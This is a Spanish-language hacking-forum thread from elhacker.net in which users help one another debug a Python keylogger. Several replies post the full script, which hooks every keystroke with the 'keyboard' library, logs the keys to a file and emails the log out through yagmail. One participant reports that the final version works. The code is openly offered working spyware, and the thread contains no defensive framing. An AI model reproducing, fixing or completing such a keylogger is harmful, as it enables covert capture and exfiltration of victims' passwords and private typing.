elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Rompecabezas de Bitcoin, Medio millón USD en premios


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  Problema con Keylogger en Python (No envía el log)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 [2] Ir Abajo Respuesta Imprimir
Autor Tema: Problema con Keylogger en Python (No envía el log)  (Leído 8,961 veces)
Segadorfelix

Desconectado Desconectado

Mensajes: 157



Ver Perfil
Re: Problema con Keylogger en Python (No envía el log)
« Respuesta #10 en: 22 Abril 2019, 08:29 am »

En el ultimo script, creo que falta importar estos módulos. Prueba si funciona.

Código
  1. import time, datetime
  2. import smtplib
  3. import sys
  4.  

En el primer script sobra:

Código
  1. import yagmail

En el segundo script sobra:

Código
  1. import atexit
  2. import os
  3. import keyboard
  4.  
  5. if __name__ == "__main__":
  6.    main()
  7.  

Si el ultimo script sigue sin funcionar, postea que error da, o que ocurre (Por ejemplo: No envía el correo, no crea el archivo que guarda los datos). Revisar la zona de spam en el correo.

Mucha suerte!



En línea

TheFerret

Desconectado Desconectado

Mensajes: 44


Ver Perfil
Re: Problema con Keylogger en Python (No envía el log)
« Respuesta #11 en: 23 Abril 2019, 04:25 am »

Ahora funciona perfectamente el segundo script, el de enviar el correo, pero el primer script no funciona.  :xD 

Es decir, ejecuto el keylogger, todo correcto, pero cuando reviso el correo me llega el log vacío. Adjunto el código de los script juntos:

Código
  1. from functools import partial
  2. import atexit
  3. import os
  4. import keyboard
  5. MAP = {
  6.    "space": " ",
  7.    "\r": "\n"
  8. }
  9. # Ubicación y nombre del archivo que guarda las teclas presionadas.
  10. FILE_NAME = "keys.txt"
  11. # Determina si el archivo de salida es limpiado cada vez que se
  12. # inicia el programa.
  13. CLEAR_ON_STARTUP = False
  14. # Tecla para terminar el programa o None para no utilizar ninguna tecla.
  15. TERMINATE_KEY = "esc"
  16. def callback(output, is_down, event):
  17.    if event.event_type in ("up", "down"):
  18.        key = MAP.get(event.name, event.name)
  19.        modifier = len(key) > 1
  20.        # Capturar únicamente los modificadores cuando están siendo
  21.        # presionados.
  22.        if not modifier and event.event_type == "down":
  23.            return
  24.        # Evitar escribir múltiples veces la misma tecla si está
  25.        # siendo presionada.
  26.        if modifier:
  27.            if event.event_type == "down":
  28.                if is_down.get(key, False):
  29.                    return
  30.                else:
  31.                    is_down[key] = True
  32.            elif event.event_type == "up":
  33.                is_down[key] = False
  34.            # Indicar si está siendo presionado.
  35.            key = " [{} ({})] ".format(key, event.event_type)
  36.        elif key == "\r":
  37.            # Salto de línea.
  38.            key = "\n"
  39.        # Escribir la tecla al archivo de salida.
  40.        output.write(key)
  41.        # Forzar escritura.
  42.        output.flush()
  43. def onexit(output):
  44.    output.close()
  45. def main():
  46.    # Borrar el archivo previo.
  47.    if CLEAR_ON_STARTUP:
  48.        os.remove(FILE_NAME)
  49.  
  50.    # Indica si una tecla está siendo presionada.
  51.    is_down = {}
  52.  
  53.    # Archivo de salida.
  54.    output = open(FILE_NAME, "a")
  55.  
  56.    # Cerrar el archivo al terminar el programa.
  57.    atexit.register(onexit, output)
  58.  
  59.    # Instalar el registrador de teclas.
  60.    keyboard.hook(partial(callback, output, is_down))
  61.    keyboard.wait(TERMINATE_KEY)
  62.  
  63.  
  64.  
  65. from functools import partial
  66. import time, datetime
  67. import smtplib
  68. import yagmail
  69. import sys
  70.  
  71.  
  72.  
  73. yag = yagmail.SMTP('correo@gmail.com', 'contraseña')
  74. yag
  75. img = "C:/Users/Andrés/Desktop/keys.txt"
  76. yag.send('correo@gmail.com', "Birthday", contents = [img])


NOTA: Sospechando que lo que sucedía era que al no existir un temporizador, Python no me dejaba escribir pues ya enviaba el fichero directamente, probé a colocar un time.sleep(20), pero el resultado es el mismo lamentablemente


En línea

yuimugi912

Desconectado Desconectado

Mensajes: 20



Ver Perfil
Re: Problema con Keylogger en Python (No envía el log)
« Respuesta #12 en: 23 Abril 2019, 05:54 am »

prueba cerrando el archivo cada vez que escribes algo en el , en vez de hacerlo al final , a veces termina en la ram y luego no lo escribe hasta que le das close

otra opcion es que sea un bug de la libreria, pero sigue saliendo el mismo error?


Edit: ahh veo que usas flush para eso del archivo
« Última modificación: 23 Abril 2019, 05:59 am por yuimugi912 » En línea

TheFerret

Desconectado Desconectado

Mensajes: 44


Ver Perfil
Re: Problema con Keylogger en Python (No envía el log)
« Respuesta #13 en: 24 Abril 2019, 03:59 am »

Puede ser que el error esté en la parte de "#Cerrar el archivo al terminar al programa"?

Quizás el programa queda corriendo y el archivo no llega a cerrarse y por eso no se guarda nada? Podría ser?


Actualmente no sale error alguno, el programa se ejecuta sin errores, y por separado funcionan excelente, solo al unirlos llega el correo pero con un log vacío, vamos, que básicamente o no está escribiendo o no está guardando lo escrito...
En línea

yuimugi912

Desconectado Desconectado

Mensajes: 20



Ver Perfil
Re: Problema con Keylogger en Python (No envía el log)
« Respuesta #14 en: 26 Abril 2019, 03:38 am »

Puede ser que el error esté en la parte de "#Cerrar el archivo al terminar al programa"?

Quizás el programa queda corriendo y el archivo no llega a cerrarse y por eso no se guarda nada? Podría ser?


no tendria porque cuando le haces archivo.flush() escribe sin necesidad de cerrar el archivo .

PD: si dices que separado funciona bien, es decir que el log se escribe por separado pero por correo no llega?
.Si la respuesta es si prueba copiar el archivo y enviar la copia por si acaso no se ha cerrado y el sistema operativo lo esta bloqueando
« Última modificación: 26 Abril 2019, 04:00 am por yuimugi912 » En línea

TheFerret

Desconectado Desconectado

Mensajes: 44


Ver Perfil
Re: Problema con Keylogger en Python (No envía el log)
« Respuesta #15 en: 26 Abril 2019, 04:17 am »

no tendria porque cuando le haces archivo.flush() escribe sin necesidad de cerrar el archivo .

PD: si dices que separado funciona bien, es decir que el log se escribe por separado pero por correo no llega?
.Si la respuesta es si prueba copiar el archivo y enviar la copia por si acaso no se ha cerrado y el sistema operativo lo esta bloqueando

Por separado funcionan ambas cosas, es decir, yo si ejecuto primero un script y luego el otro, funciona todo excelente. Al ejecutar el primer script guarda el registro de teclas en el archivo y al ejecutar el segundo script, envía el archivo al correo electrónico.

Pero en cuanto quiero hacer de esos dos script un solo script ya vienen los problemas, pues llega el correo, pero con el fichero sin alterar, es decir, sin registrar las teclas.

Respecto a lo segundo, voy a intentarlo, pero es raro pues el script sólo sí que funciona sin problemas (tanto el primero como el segundo)

EDITO: Acabo de intentar copiar el fichero con el módulo Shutil y que se envíe el fichero copiado al correo, pero nada, sigue llegando vacío  :-\
« Última modificación: 26 Abril 2019, 04:33 am por TheFerret » En línea

Segadorfelix

Desconectado Desconectado

Mensajes: 157



Ver Perfil
Re: Problema con Keylogger en Python (No envía el log)
« Respuesta #16 en: 26 Abril 2019, 10:53 am »

Prueba este código, le hice modificaciones mínimas, pero puede que sirva.
*La importación de módulos ocurre toda de una vez y al inicio.
*El valor del archivo al cual se le debe escribir, esta especificado junto a la ruta.

Código
  1. from functools import partial
  2. import time, datetime
  3. import smtplib
  4. import yagmail
  5. import sys
  6. import atexit
  7. import os
  8. import keyboard
  9.  
  10. MAP = {
  11.    "space": " ",
  12.    "\r": "\n"
  13. }
  14. # Ubicación y nombre del archivo que guarda las teclas presionadas.
  15. FILE_NAME = "C:/Users/Andrés/Desktop/keys.txt"
  16. # Determina si el archivo de salida es limpiado cada vez que se
  17. # inicia el programa.
  18. CLEAR_ON_STARTUP = False
  19. # Tecla para terminar el programa o None para no utilizar ninguna tecla.
  20. TERMINATE_KEY = "esc"
  21. def callback(output, is_down, event):
  22.    if event.event_type in ("up", "down"):
  23.        key = MAP.get(event.name, event.name)
  24.        modifier = len(key) > 1
  25.        # Capturar únicamente los modificadores cuando están siendo
  26.        # presionados.
  27.        if not modifier and event.event_type == "down":
  28.            return
  29.        # Evitar escribir múltiples veces la misma tecla si está
  30.        # siendo presionada.
  31.        if modifier:
  32.            if event.event_type == "down":
  33.                if is_down.get(key, False):
  34.                    return
  35.                else:
  36.                    is_down[key] = True
  37.            elif event.event_type == "up":
  38.                is_down[key] = False
  39.            # Indicar si está siendo presionado.
  40.            key = " [{} ({})] ".format(key, event.event_type)
  41.        elif key == "\r":
  42.            # Salto de línea.
  43.            key = "\n"
  44.        # Escribir la tecla al archivo de salida.
  45.        output.write(key)
  46.        # Forzar escritura.
  47.        output.flush()
  48. def onexit(output):
  49.    output.close()
  50. def main():
  51.    # Borrar el archivo previo.
  52.    if CLEAR_ON_STARTUP:
  53.        os.remove(FILE_NAME)
  54.  
  55.    # Indica si una tecla está siendo presionada.
  56.    is_down = {}
  57.  
  58.    # Archivo de salida.
  59.    output = open(FILE_NAME, "a")
  60.  
  61.    # Cerrar el archivo al terminar el programa.
  62.    atexit.register(onexit, output)
  63.  
  64.    # Instalar el registrador de teclas.
  65.    keyboard.hook(partial(callback, output, is_down))
  66.    keyboard.wait(TERMINATE_KEY)
  67.  
  68.  
  69. yag = yagmail.SMTP('correo@gmail.com', 'contraseña')
  70. yag
  71. img = "C:/Users/Andrés/Desktop/keys.txt"
  72. yag.send('correo@gmail.com', "Birthday", contents = [img])

Si sigue sin funcionar, luego de probarlo, cambia a Ruby que es más divertido  ;D es broma, si no funciona, voy a darle una ojeada más sería, para ver que pasa.
« Última modificación: 26 Abril 2019, 10:55 am por Segadorfelix » En línea

TheFerret

Desconectado Desconectado

Mensajes: 44


Ver Perfil
Re: Problema con Keylogger en Python (No envía el log)
« Respuesta #17 en: 26 Abril 2019, 19:39 pm »

Prueba este código, le hice modificaciones mínimas, pero puede que sirva.
*La importación de módulos ocurre toda de una vez y al inicio.
*El valor del archivo al cual se le debe escribir, esta especificado junto a la ruta.

Código
  1. from functools import partial
  2. import time, datetime
  3. import smtplib
  4. import yagmail
  5. import sys
  6. import atexit
  7. import os
  8. import keyboard
  9.  
  10. MAP = {
  11.    "space": " ",
  12.    "\r": "\n"
  13. }
  14. # Ubicación y nombre del archivo que guarda las teclas presionadas.
  15. FILE_NAME = "C:/Users/Andrés/Desktop/keys.txt"
  16. # Determina si el archivo de salida es limpiado cada vez que se
  17. # inicia el programa.
  18. CLEAR_ON_STARTUP = False
  19. # Tecla para terminar el programa o None para no utilizar ninguna tecla.
  20. TERMINATE_KEY = "esc"
  21. def callback(output, is_down, event):
  22.    if event.event_type in ("up", "down"):
  23.        key = MAP.get(event.name, event.name)
  24.        modifier = len(key) > 1
  25.        # Capturar únicamente los modificadores cuando están siendo
  26.        # presionados.
  27.        if not modifier and event.event_type == "down":
  28.            return
  29.        # Evitar escribir múltiples veces la misma tecla si está
  30.        # siendo presionada.
  31.        if modifier:
  32.            if event.event_type == "down":
  33.                if is_down.get(key, False):
  34.                    return
  35.                else:
  36.                    is_down[key] = True
  37.            elif event.event_type == "up":
  38.                is_down[key] = False
  39.            # Indicar si está siendo presionado.
  40.            key = " [{} ({})] ".format(key, event.event_type)
  41.        elif key == "\r":
  42.            # Salto de línea.
  43.            key = "\n"
  44.        # Escribir la tecla al archivo de salida.
  45.        output.write(key)
  46.        # Forzar escritura.
  47.        output.flush()
  48. def onexit(output):
  49.    output.close()
  50. def main():
  51.    # Borrar el archivo previo.
  52.    if CLEAR_ON_STARTUP:
  53.        os.remove(FILE_NAME)
  54.  
  55.    # Indica si una tecla está siendo presionada.
  56.    is_down = {}
  57.  
  58.    # Archivo de salida.
  59.    output = open(FILE_NAME, "a")
  60.  
  61.    # Cerrar el archivo al terminar el programa.
  62.    atexit.register(onexit, output)
  63.  
  64.    # Instalar el registrador de teclas.
  65.    keyboard.hook(partial(callback, output, is_down))
  66.    keyboard.wait(TERMINATE_KEY)
  67.  
  68.  
  69. yag = yagmail.SMTP('correo@gmail.com', 'contraseña')
  70. yag
  71. img = "C:/Users/Andrés/Desktop/keys.txt"
  72. yag.send('correo@gmail.com', "Birthday", contents = [img])

Si sigue sin funcionar, luego de probarlo, cambia a Ruby que es más divertido  ;D es broma, si no funciona, voy a darle una ojeada más sería, para ver que pasa.


Jajajajaja a este paso si eh,no le caigo muy bien a Python, ya estamos teniendo roces nada más empezar  :xD

Acabo de probar y lamentablemente el resultado arrojado es el mismo, fichero enviado al correo pero intacto. Respecto a lo de la importación de módulos al inicio y el valor del archivo especificado junto a la ruta, te agradezco que arregles mi caos de código jajaja. Pero nada, la cosa sigue igual  :huh:
En línea

Segadorfelix

Desconectado Desconectado

Mensajes: 157



Ver Perfil
Re: Problema con Keylogger en Python (No envía el log)
« Respuesta #18 en: 7 Mayo 2019, 09:00 am »

Prueba este código, creo que el error estaba en usar a yagmail antes de:

Código
  1. if __name__ == "__main__":
  2.    main()
  3.  

Código:

Código
  1. from functools import partial
  2. import atexit
  3. import os
  4. import keyboard
  5. import time, datetime
  6. import smtplib
  7. import yagmail
  8. import sys
  9.  
  10. MAP = {
  11.    "space": " ",
  12.    "\r": "\n"
  13. }
  14. # Ubicación y nombre del archivo que guarda las teclas presionadas.
  15. FILE_NAME = "C:/Users/Andrés/Desktop/keys.txt"
  16. # Determina si el archivo de salida es limpiado cada vez que se
  17. # inicia el programa.
  18. CLEAR_ON_STARTUP = False
  19. # Tecla para terminar el programa o None para no utilizar ninguna tecla.
  20. TERMINATE_KEY = "esc"
  21. def callback(output, is_down, event):
  22.    if event.event_type in ("up", "down"):
  23.        key = MAP.get(event.name, event.name)
  24.        modifier = len(key) > 1
  25.        # Capturar únicamente los modificadores cuando están siendo
  26.        # presionados.
  27.        if not modifier and event.event_type == "down":
  28.            return
  29.        # Evitar escribir múltiples veces la misma tecla si está
  30.        # siendo presionada.
  31.        if modifier:
  32.            if event.event_type == "down":
  33.                if is_down.get(key, False):
  34.                    return
  35.                else:
  36.                    is_down[key] = True
  37.            elif event.event_type == "up":
  38.                is_down[key] = False
  39.            # Indicar si está siendo presionado.
  40.            key = " [{} ({})] ".format(key, event.event_type)
  41.        elif key == "\r":
  42.            # Salto de línea.
  43.            key = "\n"
  44.        # Escribir la tecla al archivo de salida.
  45.        output.write(key)
  46.        # Forzar escritura.
  47.        output.flush()
  48. def onexit(output):
  49.    output.close()
  50. def main():
  51.    # Borrar el archivo previo.
  52.    if CLEAR_ON_STARTUP:
  53.        os.remove(FILE_NAME)
  54.  
  55.    # Indica si una tecla está siendo presionada.
  56.    is_down = {}
  57.  
  58.    # Archivo de salida.
  59.    output = open(FILE_NAME, "a")
  60.  
  61.    # Cerrar el archivo al terminar el programa.
  62.    atexit.register(onexit, output)
  63.  
  64.    # Instalar el registrador de teclas.
  65.    keyboard.hook(partial(callback, output, is_down))
  66.    keyboard.wait(TERMINATE_KEY)
  67.  
  68. if __name__ == "__main__":
  69.    main()
  70.  
  71. yag = yagmail.SMTP('correo@gmail.com', 'contraseña')
  72. yag
  73. img = "C:/Users/Andrés/Desktop/keys.txt"
  74. yag.send('correo@gmail.com', "JoJoJo", contents = [img])
  75.  

A mi me funciona correctamente, instale con un instalador el modulo keyboard, y yagmail por pip.

Si sigue fallando puede que el cortafuegos este 'atrofiando' a yagmail, como dice yumigumi.

Si falla, primero revisa, el archivo keys.txt del escritorio, si se esta escribiendo correctamente. Después si sale un error, puedes subir una captura a https://es.imgbb.com/ y despues al foro, para ver de que se trata.

Y si no sale un error, el keys.txt se escribe correctamente y las ubicaciones del archivo y el correo están bien, entonces no queda otra que revisar el cortafuegos.

Mucha suerte!
En línea

Páginas: 1 [2] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Python] Kaley, Keylogger simple en Python
Python
Fyrox 0 7,400 Último mensaje 21 Septiembre 2011, 23:24 pm
por Fyrox
[Python] Simple Keylogger
Python
BigBear 0 4,258 Último mensaje 7 Octubre 2011, 01:38 am
por BigBear
problema con creacion de keylogger python!!
Scripting
eliander20 0 2,442 Último mensaje 17 Septiembre 2016, 11:07 am
por eliander20
BeeLogger|KEYLOGGER|PYTHON|
Hacking
d0r127 7 10,873 Último mensaje 4 Diciembre 2017, 06:38 am
por T1cxT4c
Mejorar el keylogger PYTHON
Scripting
botters 0 2,069 Último mensaje 13 Febrero 2019, 03:07 am
por botters
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines